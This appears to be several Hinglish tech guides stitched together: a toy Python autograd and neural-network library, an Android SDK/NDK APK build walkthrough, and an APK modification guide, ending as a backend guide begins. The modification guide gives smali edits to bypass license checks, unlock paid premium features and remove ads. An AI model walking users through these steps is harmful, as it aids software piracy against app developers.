    def __mul__(self, other):
        if not isinstance(other, Tensor):
            other = Tensor(other)
        result = Tensor(self.data * other.data, requires_grad=self.requires_grad or other.requires_grad)
        if result.requires_grad:
            result.grad_fn = 'mul'
            result.depends_on = [self, other]
        return result

    def __matmul__(self, other):
        if not isinstance(other, Tensor):
            other = Tensor(other)
        result = Tensor(self.data @ other.data, requires_grad=self.requires_grad or other.requires_grad)
        if result.requires_grad:
            result.grad_fn = 'matmul'
            result.depends_on = [self, other]
        return result

# ============== AUTOGRAD ENGINE ==============
class Autograd:
    @staticmethod
    def backward(tensor, grad=None):
        if grad is None:
            grad = np.ones_like(tensor.data)
        tensor.grad = grad

        if tensor.grad_fn == 'add':
            a, b = tensor.depends_on
            if a.requires_grad: Autograd.backward(a, grad)
            if b.requires_grad: Autograd.backward(b, grad)

        elif tensor.grad_fn == 'mul':
            a, b = tensor.depends_on
            if a.requires_grad: Autograd.backward(a, b.data * grad)
            if b.requires_grad: Autograd.backward(b, a.data * grad)
```

```
        elif tensor.grad_fn == 'matmul':
            a, b = tensor.depends_on
            if a.requires_grad: Autograd.backward(a, grad @ b.data.T)
            if b.requires_grad: Autograd.backward(b, a.data.T @ grad)

# ============== LAYERS ==============
class Linear:
    def __init__(self, in_features, out_features):
        limit = math.sqrt(2.0 / in_features)
        self.weight = Tensor(np.random.uniform(-limit, limit, (in_features, out_features)), requires_grad=True)
        self.bias = Tensor(np.zeros(out_features), requires_grad=True)

    def forward(self, x):
        return x @ self.weight + self.bias

    def parameters(self):
        return [self.weight, self.bias]

class ReLU:
    def forward(self, x):
        result = Tensor(np.maximum(0, x.data), requires_grad=x.requires_grad)
        if result.requires_grad:
            result.grad_fn = 'relu'
            result.depends_on = [x]
        return result

# ============== LOSS FUNCTIONS ==============
class MSELoss:
    def forward(self, pred, target):
        diff = pred - target
        return (diff * diff).mean()

# ============== OPTIMIZER ==============
class SGD:
    def __init__(self, params, lr=0.01):
        self.params = params
        self.lr = lr

    def step(self):
        for p in self.params:
            if p.grad is not None:
                p.data -= self.lr * p.grad

    def zero_grad(self):
        for p in self.params:
            p.grad = None

# ============== MODEL ==============
class Model:
    def __init__(self, layers):
        self.layers = layers

    def forward(self, x):
        for layer in self.layers:
            x = layer.forward(x)
        return x

    def parameters(self):
        params = []
        for layer in self.layers:
            if hasattr(layer, 'parameters'):
                params.extend(layer.parameters())
        return params

# ============== TRAINING EXAMPLE ==============
# Create sample data (XOR problem)
```

```
X = [Tensor([0, 0]), Tensor([0, 1]), Tensor([1, 0]), Tensor([1, 1])]
y = [Tensor([0]), Tensor([1]), Tensor([1]), Tensor([0])]

# Build model
model = Model([
    Linear(2, 4),
    ReLU(),
    Linear(4, 1),
])

# Train
loss_fn = MSELoss()
optimizer = SGD(model.parameters(), lr=0.1)

for epoch in range(500):
    total_loss = 0
    for i in range(len(X)):
        pred = model.forward(X[i])
        loss = loss_fn.forward(pred, y[i])
        total_loss += loss.data
        Autograd.backward(loss)
        optimizer.step()
        optimizer.zero_grad()
    if epoch % 100 == 0:
        print(f"Epoch {epoch}: Loss = {total_loss/4:.4f}")

# Test
print("\nPredictions after training:")
for i in range(len(X)):
    pred = model.forward(X[i])
    print(f"Input: {X[i].data}, Prediction: {pred.data[0]:.4f}, Target: {y[i].data[0]}")
```

9. HOW TO EXTEND YOUR LIBRARY

>> Adding GPU Support

WHAT:

Library me GPU support kaise add karein

CODE:

```
class CUDATensor:
    """GPU tensor using PyCUDA or CuPy"""
    def __init__(self, data):
        try:
            import cupy as cp
            self.data = cp.array(data)
            self.on_gpu = True
        except ImportError:
            self.data = np.array(data)
            self.on_gpu = False

    def to_gpu(self):
        if not self.on_gpu:
            import cupy as cp
            self.data = cp.array(self.data)
            self.on_gpu = True

    def to_cpu(self):
        if self.on_gpu:
            self.data = self.data.get()
            self.on_gpu = False
```

>> Adding More Layers

WHAT:

More neural network layers kaise add karein

CODE:

```
class Conv2D:
    """2D Convolutional Layer"""
    def __init__(self, in_channels, out_channels, kernel_size):
        self.weight = Tensor(np.random.randn(out_channels, in_channels, kernel_size, kernel_size) * 0.01)
        self.bias = Tensor(np.zeros(out_channels))

    def forward(self, x):
        # Convolution operation
        # Implementation would involve sliding window and dot product
        pass

class MaxPool2D:
    """Max Pooling Layer"""
    def __init__(self, kernel_size=2):
        self.kernel_size = kernel_size

    def forward(self, x):
        # Max pooling implementation
        pass

class Dropout:
    """Dropout Layer for regularization"""
    def __init__(self, p=0.5):
        self.p = p
        self.training = True

    def forward(self, x):
        if self.training:
```

```
            mask = np.random.binomial(1, 1-self.p, x.data.shape) / (1-self.p)
            return Tensor(x.data * mask, requires_grad=x.requires_grad)
        return x

class BatchNorm2D:
    """Batch Normalization"""
    def __init__(self, num_features):
        self.gamma = Tensor(np.ones(num_features), requires_grad=True)
        self.beta = Tensor(np.zeros(num_features), requires_grad=True)

    def forward(self, x):
        # Batch norm implementation
        pass
```

10. COMPLETE AI LIBRARY ARCHITECTURE

>> Library Structure

WHAT:

Professional AI library ka complete structure

LIBRARY STRUCTURE:

```
mylibrary/
|-- mylibrary/
|   |-- __init__.py
|   |-- tensor.py           # Tensor class
|   |-- autograd.py         # Automatic differentiation
|   |-- nn/                 # Neural network module
|   |   |-- __init__.py
|   |   |-- linear.py       # Linear layer
|   |   |-- conv.py         # Convolutional layer
|   |   |-- activation.py   # Activation functions
|   |   |-- loss.py         # Loss functions
|   |   `-- module.py       # Base module class
|   |-- optim/              # Optimizers
|   |   |-- __init__.py
|   |   |-- sgd.py
|   |   `-- adam.py
|   |-- utils/              # Utilities
|   |   |-- init.py         # Weight initialization
|   |   `-- data.py         # Data utilities
|   |-- cuda/               # GPU support
|   |   |-- __init__.py
|   |   `-- cuda_tensor.py
|-- tests/                  # Unit tests
|-- examples/               # Example usage
|-- setup.py                # Installation
|-- README.md
`-- requirements.txt
```

Android Development on Linux

Complete Setup Guide - SDK, NDK, APK Build Process

Generated: 22-March-2026

1. ANDROID SDK INSTALLATION

>> Prerequisites

WHAT:

SDK install karne se pehle yeh packages chahiye

COMMANDS TO RUN:

```
$ sudo apt update && sudo apt upgrade -y
$ sudo apt install openjdk-11-jdk -y
$ sudo apt install wget unzip zip -y
$ sudo apt install git curl -y
$ java -version  # Java install verify karo
```

WHAT HAPPENS:

Java 11 install ho jayega, SDK ke liye zaroori hai

>> Download SDK

WHAT:

Android SDK command line tools download karna

COMMANDS TO RUN:

```
$ cd ~
$ mkdir android-sdk
$ cd android-sdk
$ wget https://dl.google.com/android/repository/commandlinetools-linux-latest.zip
$ unzip commandlinetools-linux-latest.zip
$ mv cmdline-tools latest
$ mkdir -p latest/cmdline-tools
$ mv latest/* latest/cmdline-tools/ 2>/dev/null || true
```

WHAT HAPPENS:

SDK tools ~/android-sdk/latest/cmdline-tools me install honge

---

>> Setup Environment

WHAT:

Environment variables set karna, terminal me SDK path add karna

COMMANDS TO RUN:

```
$ echo 'export ANDROID_SDK_ROOT=$HOME/android-sdk' >> ~/.bashrc
$ echo 'export PATH=$PATH:$ANDROID_SDK_ROOT/latest/cmdline-tools/bin' >> ~/.bashrc
$ echo 'export PATH=$PATH:$ANDROID_SDK_ROOT/platform-tools' >> ~/.bashrc
$ echo 'export PATH=$PATH:$ANDROID_SDK_ROOT/tools' >> ~/.bashrc
$ source ~/.bashrc
$ echo $ANDROID_SDK_ROOT  # Verify path
```

WHAT HAPPENS:

SDK path permanent set ho jayega, terminal restart ke baad bhi kaam karega

---

>> Install SDK Packages

WHAT:

SDK manager se required packages install karna

COMMANDS TO RUN:

```
$ sdkmanager --list  # Available packages dekhna
$ sdkmanager "platform-tools" "platforms;android-33"
$ sdkmanager "build-tools;33.0.0"
$ sdkmanager "ndk;25.2.9519653"
$ sdkmanager "cmake;3.22.1"
$ sdkmanager --licenses  # Accept all licenses
$ yes | sdkmanager --licenses  # Auto accept
```

WHAT HAPPENS:

Platform tools, Android 33 SDK, Build tools, NDK install honge

---

>> Verify Installation

WHAT:

SDK sahi se install hua ya nahi check karna

COMMANDS TO RUN:

```
$ adb --version  # ADB version check
$ sdkmanager --list | grep installed  # Installed packages
$ ls $ANDROID_SDK_ROOT/platforms/  # Platform versions
$ ls $ANDROID_SDK_ROOT/build-tools/  # Build tools versions
$ ls $ANDROID_SDK_ROOT/ndk/  # NDK versions
```

WHAT HAPPENS:

Saari installed files list hongi, sab sahi hai confirm

---

2. ANDROID NDK SETUP

>> NDK Installation

WHAT:

NDK install ho chuka hai, ab environment set karna

COMMANDS TO RUN:

```
$ echo 'export ANDROID_NDK_ROOT=$ANDROID_SDK_ROOT/ndk/25.2.9519653' >> ~/.bashrc
$ echo 'export PATH=$PATH:$ANDROID_NDK_ROOT' >> ~/.bashrc
$ source ~/.bashrc
$ echo $ANDROID_NDK_ROOT  # Verify path
$ ls $ANDROID_NDK_ROOT  # NDK contents dekhna
```

WHAT HAPPENS:

NDK path set ho jayega, ndk-build command available hoga

>> NDK Components

WHAT:

NDK folder me kya kya hota hai samajhna

COMMANDS TO RUN:

```
$ tree $ANDROID_NDK_ROOT -L 2 | head -20
$ ls $ANDROID_NDK_ROOT/toolchains/  # Toolchains available
$ ls $ANDROID_NDK_ROOT/build/  # Build scripts
$ ls $ANDROID_NDK_ROOT/sources/  # Source files
$ find $ANDROID_NDK_ROOT -name "ndk-build"  # ndk-build location
```

WHAT HAPPENS:

NDK structure dikhta hai - toolchains, build scripts, sources folders

---

>> Test NDK

WHAT:

Simple C program compile karke NDK test karna

COMMANDS TO RUN:

```
$ mkdir ~/ndk-test
$ cd ~/ndk-test
$ echo '#include <stdio.h>' > hello.c
$ echo 'int main() { printf("Hello from NDK!\n"); return 0; }' >> hello.c
$ $ANDROID_NDK_ROOT/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android21-clang hello.c -o hello
$ file hello  # Check binary type
```

WHAT HAPPENS:

ARM64 binary banegi, Android device pe run kar sakte ho

---

3. APK STRUCTURE DEEP DIVE

>> APK as ZIP

WHAT:

APK ek ZIP file hota hai, unzip karke dekhna

COMMANDS TO RUN:

```
$ unzip -l any.apk  # APK ki contents list
$ unzip any.apk -d apk-extracted/  # Full extract
$ cd apk-extracted/
$ ls -la  # Saari files dikhengi
```

WHAT HAPPENS:

APK extract hone par multiple folders dikhte hain

>> APK Structure

WHAT:

APK ke andar kya kya hota hai

APK STRUCTURE:

* AndroidManifest.xml : App ka main configuration file
* classes.dex : Compiled Java/Kotlin code (Dalvik Executable)
* res/ : Resources folder (layouts, images, strings)
* lib/ : Native libraries (.so files for different architectures)
* assets/ : Raw assets (fonts, data files)
* META-INF/ : Signatures and certificates
* resources.arsc : Compiled resources

APK unzip karne ke baad ye sab folders dikhte hain

>> Architecture Support

WHAT:

Different CPU architectures ke liye libraries

COMMANDS TO RUN:

```
$ ls lib/  # Different architecture folders
$ lib/armeabi-v7a/  # 32-bit ARM
$ lib/arm64-v8a/    # 64-bit ARM
$ lib/x86/          # 32-bit x86
$ lib/x86_64/       # 64-bit x86
$ file lib/arm64-v8a/*.so  # Check library type
```

WHAT HAPPENS:

Different architecture ke .so files alag folders me hote hain

---

4. ANDROID PROJECT STRUCTURE

>> Java/Kotlin Files

WHAT:

Source code structure, packages and classes

COMMANDS TO RUN:

```
$ tree app/src/main/java/  # Java source files
$ cat app/src/main/java/com/example/app/MainActivity.java  # Main Activity
$ # Typical structure:
$ # app/src/main/java/com/example/app/
$ #   - MainActivity.java
$ #   - utils/
$ #   - models/
$ #   - adapters/
```

WHAT HAPPENS:

Package structure dikhta hai, Java files organized hote hain

>> XML Files

WHAT:

Layout files, strings, colors, styles

COMMANDS TO RUN:

```
$ ls app/src/main/res/layout/  # Layout files
$ cat app/src/main/res/layout/activity_main.xml  # Layout content
$ cat app/src/main/res/values/strings.xml  # String resources
$ cat app/src/main/res/values/colors.xml  # Color definitions
$ cat app/src/main/res/values/styles.xml  # Style definitions
```

WHAT HAPPENS:

XML files me UI structure, strings, colors define hote hain

>> AndroidManifest

WHAT:

App configuration file - permissions, activities, services

COMMANDS TO RUN:

```
$ cat app/src/main/AndroidManifest.xml
$ # Contains:
$ # - Package name
$ # - Permissions (INTERNET, CAMERA, etc.)
$ # - Activities (MainActivity, etc.)
$ # - Services (Background services)
$ # - Receivers (Broadcast receivers)
$ # - Application theme and icons
```

WHAT HAPPENS:

Manifest file me app ka full configuration hota hai

---

5. NATIVE LIBRARIES (.so FILES)

>> Create Native Library

WHAT:

C/C++ code se .so library banane ka process

COMMANDS TO RUN:

```
$ mkdir ~/native-lib
$ cd ~/native-lib
$ echo '#include <jni.h>' > NativeLib.c
$ echo 'JNIEXPORT jstring JNICALL Java_com_example_NativeLib_getMessage(JNIEnv* env, jobject obj) {' >> NativeLib.c
$ echo '    return (*env)->NewStringUTF(env, "Hello from C!");' >> NativeLib.c
$ echo '}' >> NativeLib.c
$ # Compile with NDK:
$ $ANDROID_NDK_ROOT/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android21-clang -shared -o libnative.so NativeLib.c
```

WHAT HAPPENS:

libnative.so file banegi, Android app me load kar sakte ho

>> JNI Integration

WHAT:

Java code se C/C++ library call karna

COMMANDS TO RUN:

```
$ cat > NativeLib.java << 'EOF'
$ public class NativeLib {
$     static {
$         System.loadLibrary("native");
$     }
$     public static native String getMessage();
$ }
$ EOF
$ # Generate JNI headers:
$ javac NativeLib.java
$ javac -h . NativeLib.java
```

WHAT HAPPENS:

Java class banegi jo C library ko load karegi, native method call karegi

---

6. APK COMPILATION PROCESS

>> Step 1 - Compile Java

WHAT:

Java source code ko .class files me compile karna

COMMANDS TO RUN:

```
$ javac -d build/ src/**/*.java
$ # Output: .class files in build/ directory
$ ls build/  # Compiled classes
```

WHAT HAPPENS:

Java code compile hoke .class files banti hain

>> Step 2 - Convert to DEX

WHAT:

.class files ko Dalvik Executable (.dex) me convert

COMMANDS TO RUN:

```
$ dx --dex --output=classes.dex build/
$ # OR for newer versions:
$ d8 --output . build/*.class
$ ls classes.dex
```

WHAT HAPPENS:

classes.dex file banti hai, Android runtime ise execute karta hai

---

>> Step 3 - Package Resources

WHAT:

Resources ko compile karna (layouts, images, strings)

COMMANDS TO RUN:

```
$ aapt package -f -M AndroidManifest.xml -S res/ -I $ANDROID_SDK_ROOT/platforms/android-33/android.jar -F app-unsigned.apk
```

WHAT HAPPENS:

Resources compiled hote hain, APK me add hote hain

>> Step 4 - Add Libraries

WHAT:

Native libraries (.so) APK me add karna

COMMANDS TO RUN:

```
$ mkdir -p lib/arm64-v8a/
$ cp libnative.so lib/arm64-v8a/
$ zip -r app-unsigned.apk lib/
```

WHAT HAPPENS:

Native libraries APK me included ho jati hain

>> Step 5 - Sign APK

WHAT:

APK sign karna - digital signature add karna

COMMANDS TO RUN:

```
$ # Generate keystore (once):
$ keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
$ # Sign APK:
```

```
$ jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore app-unsigned.apk alias_name
$ # Verify signature:
$ jarsigner -verify app-unsigned.apk
```

WHAT HAPPENS:

APK signed ho jati hai, installation ke liye ready

>> Step 6 - Align APK

WHAT:

Zipalign - memory alignment optimize karna

COMMANDS TO RUN:

```
$ zipalign -v -p 4 app-unsigned.apk app-aligned.apk
$ ls -lh app-aligned.apk  # Final APK
```

WHAT HAPPENS:

Optimized APK banti hai, Play Store upload ke liye ready

---

7. BUILD AUTOMATION WITH GRADLE

>> Create build.gradle

WHAT:

Gradle build script - automated build process

COMMANDS TO RUN:

```
$ cat > build.gradle << 'EOF'
$ apply plugin: 'com.android.application'
$
$ android {
$     compileSdkVersion 33
$     defaultConfig {
$         applicationId 'com.example.app'
$         minSdkVersion 21
$         targetSdkVersion 33
$         versionCode 1
$         versionName '1.0'
$         externalNativeBuild {
$             cmake {
$                 cppFlags ''
$             }
$         }
$     }
$     buildTypes {
$         release {
$             minifyEnabled true
$             proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
$         }
$     }
$     externalNativeBuild {
$         cmake {
$             path 'src/main/cpp/CMakeLists.txt'
$         }
$     }
$ }
$
$ dependencies {
$     implementation 'androidx.appcompat:appcompat:1.6.1'
$     implementation 'com.google.android.material:material:1.9.0'
$ }
$ EOF
```

WHAT HAPPENS:

build.gradle file create hoti hai, build process define hota hai

---

>> Run Gradle Build

WHAT:

Gradle commands se APK build karna

COMMANDS TO RUN:

```
$ ./gradlew assembleDebug    # Debug APK build
$ ./gradlew assembleRelease  # Release APK build
$ ./gradlew clean            # Clean build directory
$ ./gradlew build            # Full build
$ ./gradlew installDebug     # Install on connected device
$ find . -name "*.apk"      # Find generated APK
```

WHAT HAPPENS:

Gradle saare steps automatically run karta hai, APK generate hoti hai

---

8. DEPLOY AND TEST

>> Connect Device

WHAT:

Android device/emulator connect karna

COMMANDS TO RUN:

```
$ adb devices  # List connected devices
$ adb kill-server  # Restart ADB server
$ adb start-server
$ adb connect 192.168.1.100:5555  # Connect to remote device
```

WHAT HAPPENS:

Connected devices list dikhti hai, device ready hai

>> Install APK

WHAT:

APK install karna on device

COMMANDS TO RUN:

```
$ adb install app-release.apk  # Install APK
$ adb install -r app-release.apk  # Reinstall (keep data)
$ adb install -d app-release.apk  # Allow downgrade
$ adb uninstall com.example.app  # Uninstall app
$ adb shell pm list packages  # List installed packages
```

WHAT HAPPENS:

APK device pe install ho jati hai, launcher me dikhti hai

>> Debug App

WHAT:

Running app debug karna, logs dekhna

COMMANDS TO RUN:

```
$ adb logcat  # All logs
$ adb logcat | grep MyApp  # Filter by app
$ adb logcat -s ActivityManager  # Specific tag
$ adb shell dumpsys package com.example.app  # App info
$ adb shell dumpsys meminfo com.example.app  # Memory usage
$ adb shell top | grep com.example.app  # CPU usage
```

WHAT HAPPENS:

App ke logs dikhte hain, performance metrics milti hai

---

9. COMMON ISSUES AND FIXES

>> SDK Path Issues

WHAT:

SDK path not found error

COMMANDS TO RUN:

```
$ echo $ANDROID_SDK_ROOT  # Check if set
$ export ANDROID_SDK_ROOT=$HOME/android-sdk  # Set temporarily
$ # Add to .bashrc permanently
$ echo 'export ANDROID_SDK_ROOT=$HOME/android-sdk' >> ~/.bashrc
$ source ~/.bashrc
```

WHAT HAPPENS:

SDK path set ho jayega, commands work karenge

>> Java Version Issues

WHAT:

Wrong Java version error

COMMANDS TO RUN:

```
$ java -version  # Check current
$ sudo update-alternatives --config java  # Switch version
$ export JAVA_HOME=/usr/lib/jvm/java-11-openjdk-amd64
$ echo 'export JAVA_HOME=/usr/lib/jvm/java-11-openjdk-amd64' >> ~/.bashrc
```

WHAT HAPPENS:

Java 11 set ho jayega, Android build compatible

>> Permission Issues

WHAT:

USB device permission error

COMMANDS TO RUN:

```
$ lsusb  # Find device ID
    $ echo 'SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", MODE="0666", GROUP="plugdev"' | sudo tee /etc/udev/rules.d/51-android.rules
$ sudo udevadm control --reload-rules
$ sudo udevadm trigger
$ adb kill-server && adb start-server
```

WHAT HAPPENS:

USB permission set ho jayegi, device detect hoga

APK Modification Complete Guide

Decompile, Modify, Recompile - Full Process

Generated: 22-March-2026

NOTE: This guide is for educational purposes only. Modify only apps you own or have permission to modify.

1. TOOLS INSTALLATION

>> Required Tools

WHAT:

APK modify karne ke liye yeh tools chahiye

COMMANDS:

```
# Install Java (required for all tools)
sudo apt update
sudo apt install openjdk-11-jdk -y
# Download Apktool - APK decompile/recompile ke liye
wget https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool
chmod +x apktool
sudo mv apktool /usr/local/bin/
# Download Apktool jar file
wget https://github.com/iBotPeaches/Apktool/releases/download/v2.9.3/apktool_2.9.3.jar
sudo mv apktool_2.9.3.jar /usr/local/bin/
# Install dex2jar - DEX files ko JAR me convert
wget https://github.com/pxb1988/dex2jar/releases/download/2.0/dex2jar-2.0.zip
unzip dex2jar-2.0.zip
sudo mv dex2jar-2.0 /opt/dex2jar
echo 'export PATH=$PATH:/opt/dex2jar' >> ~/.bashrc
source ~/.bashrc
# Install JD-GUI - Java code dekhne ke liye
wget https://github.com/java-decompiler/jd-gui/releases/download/v1.6.6/jd-gui-1.6.6.jar
# Install APKEditor - Advanced APK editing
wget https://github.com/REAndroid/APKEditor/releases/download/1.4.0/APKEditor-1.4.0.jar
echo 'Tools installation complete!'
```

RESULT:

Apktool, dex2jar, JD-GUI install ho jayenge, APK modify karne ke liye ready

---

2. APK DECOMPILE PROCESS

>> Decompile with Apktool

WHAT:

APK ko decode karna, resources extract karna

COMMANDS:

```
apktool d app.apk -o decompiled_app
# Command breakdown:
# apktool : Tool name
# d : decode command
# app.apk : Source APK file
# -o decompiled_app : Output folder name
ls decompiled_app/  # Dekho kya kya nikla
# Alternative with more details
apktool d -f -r app.apk -o decompiled
# -f : Force overwrite if folder exists
# -r : Do not decode resources (keep .arsc)
```

RESULT:

decompiled_app folder ban jayegi, andar ye sab hoga

>> Decompiled Structure

WHAT:

Decompile karne ke baad kya kya milta hai

DECOMPILED STRUCTURE:

* AndroidManifest.xml - App ka main config file (human readable form me)
* apktool.yml - Apktool ki metadata file
* res/ - Resources folder (layouts, images, strings, colors)
* smali/ - Dalvik bytecode in readable form (Java code ka smali version)
* smali_classes2/ - Additional smali files (if multi-dex)
* assets/ - Raw assets files (fonts, data files)
* lib/ - Native libraries (.so files)
* original/ - Original META-INF and AndroidManifest
* unknown/ - Unknown resources

Smali files actual Java code ka readable version hai, isme modification karte hain

---

3. MANIFEST FILE MODIFICATION

>> AndroidManifest.xml

WHAT:

Manifest file me kya modify kar sakte ho

COMMANDS:

```
cat decompiled_app/AndroidManifest.xml | head -50
# Common modifications:
# 1. Change package name
sed -i 's/package="com.old.app"/package="com.new.app"/g' AndroidManifest.xml
# 2. Add permissions
# Add this line after <manifest> tag:
# <uses-permission android:name="android.permission.INTERNET"/>
# 3. Make app debuggable
# Add android:debuggable="true" to application tag
# 4. Change app icon and name
# android:icon="@drawable/new_icon"
# android:label="@string/new_app_name"
```

RESULT:

Manifest file modify hoti hai, permissions, debuggable mode, package name change

---

4. SMALI CODE MODIFICATION

>> Smali Basics

WHAT:

Smali code kya hai, kaise modify karein

COMMANDS:

```
# Smali file location
find decompiled_app -name "*.smali" | head -5
# MainActivity.smali dekhna
cat decompiled_app/smali/com/example/app/MainActivity.smali
# Smali syntax example:
.method public onCreate(Landroid/os/Bundle;)V
    .locals 1
    invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
    const-string v0, "Hello Modified"
    invoke-static {p0, v0},
Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;)Landroid/widget/Toast;
    move-result-object v0
    invoke-virtual {v0}, Landroid/widget/Toast;->show()V
    return-void
.end method
```

RESULT:

Smali files readable hain, Java code ka bytecode representation

---

>> Common Smali Modifications

WHAT:

Smali me kya kya modify kar sakte ho

COMMON MODIFICATIONS:

```
1. Add Toast Messages:
   const-string v0, "Modified!"
   invoke-static {p0, v0},
Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;)Landroid/widget/Toast;
   move-result-object v0
   invoke-virtual {v0}, Landroid/widget/Toast;->show()V

2. Bypass License Check:
   # Original: if-eqz v0, :cond_license_fail
   # Change to: if-nez v0, :cond_license_fail
   # OR add goto statement to success
   goto :cond_license_success

3. Remove Ads:
   # Find ad related methods and make them return void
   .method public showAd()V
       return-void
   .end method

4. Unlock Premium Features:
   # Change boolean check from false to true
   const/4 v0, 0x1  # Originally was 0x0
```

RESULT:

Smali code modify karne se app behavior change hota hai

>> Register and Variable Types

WHAT:

Smali me variables kaise handle karte hain

REGISTER TYPES:

```
v0 to v255 : Local registers
p0 to p255 : Parameter registers (p0 = this reference)

Data Types:
V : void
Z : boolean
B : byte
S : short
C : char
I : int
J : long (64-bit)
F : float
D : double
Lpackage/Class; : Object reference
[I : int array

Examples:
const/4 v0, 0x1        # Set boolean true
const/16 v1, 0x64      # Set int 100
const-string v2, "Hello" # Set string
```

---

5. RESOURCES MODIFICATION

>> Layout Files (XML)

WHAT:

UI layout files modify karna

COMMANDS:

```
ls decompiled_app/res/layout/
# Modify layout file
cat decompiled_app/res/layout/activity_main.xml
# Change text in TextView
sed -i 's/old text/new text/g' decompiled_app/res/layout/activity_main.xml
# Change visibility
# android:visibility="gone"  # Hide element
# android:visibility="visible" # Show element
# Change colors
# android:textColor="#FF0000"  # Red color
# android:background="#000000" # Black background
```

RESULT:

Layout XML modify hota hai, UI elements change hote hain

>> Strings and Values

WHAT:

String resources, colors, dimensions modify karna

COMMANDS:

```
cat decompiled_app/res/values/strings.xml
# Change app name:
# <string name="app_name">My Modified App</string>
cat decompiled_app/res/values/colors.xml
# Change color values:
# <color name="primary">#FF0000</color>
cat decompiled_app/res/values/bools.xml
# Change boolean values:
# <bool name="is_premium">true</bool>
```

RESULT:

String values change hoti hain, app text modify ho jata hai

>> Images and Assets

WHAT:

Images replace karna, assets modify karna

COMMANDS:

```
# Find all images
find decompiled_app/res -name "*.png" -o -name "*.jpg" | head -10
# Replace app icon
cp new_icon.png decompiled_app/res/mipmap-hdpi/ic_launcher.png
# Replace splash screen image
cp new_splash.jpg decompiled_app/res/drawable/splash.jpg
# Modify assets
ls decompiled_app/assets/
echo "Modified content" > decompiled_app/assets/data.txt
```

RESULT:

Images replace hoti hain, assets modify hote hain

---

6. NATIVE LIBRARIES MODIFICATION

>> Analyze .so Files

WHAT:

Native libraries ko analyze karna, modify karna

COMMANDS:

```
ls decompiled_app/lib/
# Architecture folders: armeabi-v7a, arm64-v8a, x86, x86_64
# Analyze .so file
file decompiled_app/lib/arm64-v8a/libnative.so
# View exported functions
nm -D decompiled_app/lib/arm64-v8a/libnative.so
# View strings in .so file
strings decompiled_app/lib/arm64-v8a/libnative.so | head -20
```

RESULT:

.so file ki internal details dikhti hain

>> Patch .so Files

WHAT:

.so files me hex editing se modification

COMMANDS:

```
# View hex dump
xxd decompiled_app/lib/arm64-v8a/libnative.so | head -20
# Search for string
grep -a "license" decompiled_app/lib/arm64-v8a/libnative.so
# Hex edit with xxd
xxd libnative.so > libnative.hex
# Edit libnative.hex, change values
xxd -r libnative.hex libnative_mod.so
```

RESULT:

Hex editing se .so files modify hoti hain

---

7. DEX FILES MODIFICATION

>> DEX to JAR

WHAT:

classes.dex ko JAR me convert for Java decompilation

COMMANDS:

```
cd decompiled_app/
ls -la classes*.dex  # All dex files
# Convert DEX to JAR
d2j-dex2jar classes.dex -o classes.jar
# Extract JAR
unzip classes.jar -d jar_output/
```

RESULT:

classes.dex -> classes.jar, fir JAR extract karke Java files milti hain

---

>> Modify with baksmali/smali

WHAT:

DEX files ko modify karne ka advanced method

COMMANDS:

```
# Disassemble DEX to smali
java -jar baksmali.jar d classes.dex -o smali_new/
# Modify smali files
vim smali_new/com/example/MainActivity.smali
# Reassemble to DEX
java -jar smali.jar a smali_new/ -o classes_new.dex
# Replace original dex
mv classes_new.dex decompiled_app/classes.dex
```

RESULT:

DEX disassemble hota hai, smali modify karo, reassemble karo

---

8. APK RECOMPILE AND SIGN

>> Recompile with Apktool

WHAT:

Modified files se wapas APK banana

COMMANDS:

```
apktool b decompiled_app -o modified_app.apk
# b : build command
# decompiled_app : modified source folder
# -o modified_app.apk : output APK file
# Check if build successful
ls -lh modified_app.apk
```

RESULT:

Modified APK file ban jati hai, par signed nahi hai

>> Sign the APK

WHAT:

APK sign karna - installation ke liye mandatory

COMMANDS:

```
# Generate keystore (if not exists)
keytool -genkey -v -keystore my.keystore -alias myalias -keyalg RSA -keysize 2048 -validity 10000
# Sign APK
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my.keystore modified_app.apk myalias
# Verify signature
jarsigner -verify modified_app.apk
# Optimize APK (zipalign)
zipalign -v -p 4 modified_app.apk modified_app_aligned.apk
```

RESULT:

Signed and aligned APK ready, install kar sakte ho

---

9. COMMON MODIFICATION SCENARIOS

>> Remove Ads

WHAT:

Ads remove karne ka process

STEPS:

1. Decompile APK with apktool
2. Find ad network packages (com.google.android.gms.ads, com.facebook.ads)
3. Remove INTERNET permission from manifest
4. In smali, find ad initialization methods
5. Replace ad method calls with empty methods
6. Remove ad layout files from res/layout/
7. Recompile and sign

RESULT:

Ads completely remove ho jayenge

>> Unlock Premium Features

WHAT:

Paid features unlock karna

STEPS:

1. Decompile APK
2. Search for 'is_premium', 'is_pro', 'license' in smali
3. Find boolean checks: if-eqz v0 (if zero/false)
4. Change to if-nez v0 (if not zero/true)
5. Or always set register to 1 (true)
6. Search for 'purchase', 'subscribe' methods
7. Make them return success always
8. Recompile and sign

RESULT:

Premium features unlocked

>> Bypass License Check

WHAT:

License validation bypass karna

STEPS:

1. Decompile APK
2. Search for 'license', 'valid', 'LVL' (License Verification Library)
3. Find checkLicense() method
4. Make it always return true: const/4 v0, 0x1
5. Remove network calls to license server
6. Recompile and sign

RESULT:

License check bypass ho jati hai

---

10. TROUBLESHOOTING

>> Common Errors

ERRORS AND SOLUTIONS:

```
Error: 'apktool' command not found - Solution: Check installation, add to PATH
Error: 'Invalid keystore format' - Solution: Generate new keystore, use correct password
Error: 'APK install failed: No certificates' - Solution: Sign the APK first
Error: 'App crashes after modification' - Solution: Check logcat, verify smali changes
Error: 'Resources not found' - Solution: Check if resource IDs changed
```

RESULT:

Errors fix karne ka solution

Backend Development Complete Guide

FastAPI, Django REST, Node.js, GraphQL, WebSockets, gRPC

Generated: 23-March-2026

1. FASTAPI - MODERN PYTHON WEB FRAMEWORK

>> What is FastAPI

WHAT:

